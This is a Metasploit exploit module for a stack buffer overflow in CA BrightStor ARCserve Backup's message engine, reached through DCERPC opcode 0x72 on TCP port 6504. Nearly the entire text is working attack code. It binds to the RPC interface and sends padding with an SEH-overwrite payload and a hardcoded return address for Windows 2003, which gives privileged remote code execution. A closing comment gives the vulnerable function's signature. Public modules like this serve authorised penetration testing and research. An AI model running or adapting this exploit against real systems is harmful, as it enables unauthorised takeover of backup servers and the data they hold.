CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
          11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
          the buffer and execute arbitrary code.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '68329'],
          [ 'URL', 'http://www.metasploit.com/users/mc' ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 600,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'BrightStor ARCserve r11.5/Windows 2003',	{ 'Ret' => 0x2380ceb5 } ],
        ],
        'DisclosureDate' => '2010-10-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(6504)])
  end

  def exploit
    connect

    handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")

    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)

    print_status("Trying target #{target.name}...")

    begin
      dcerpc_call(0x72, sploit)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    handler
    disconnect
  end

end
=begin
/* opcode: 0x72, address: 0x28E893D0 */

short   sub_28E893D0 (
 [in] handle_t  arg_1,
 [in][ref][string] char * arg_2,
 [in, out][ref] long * arg_3
);
=end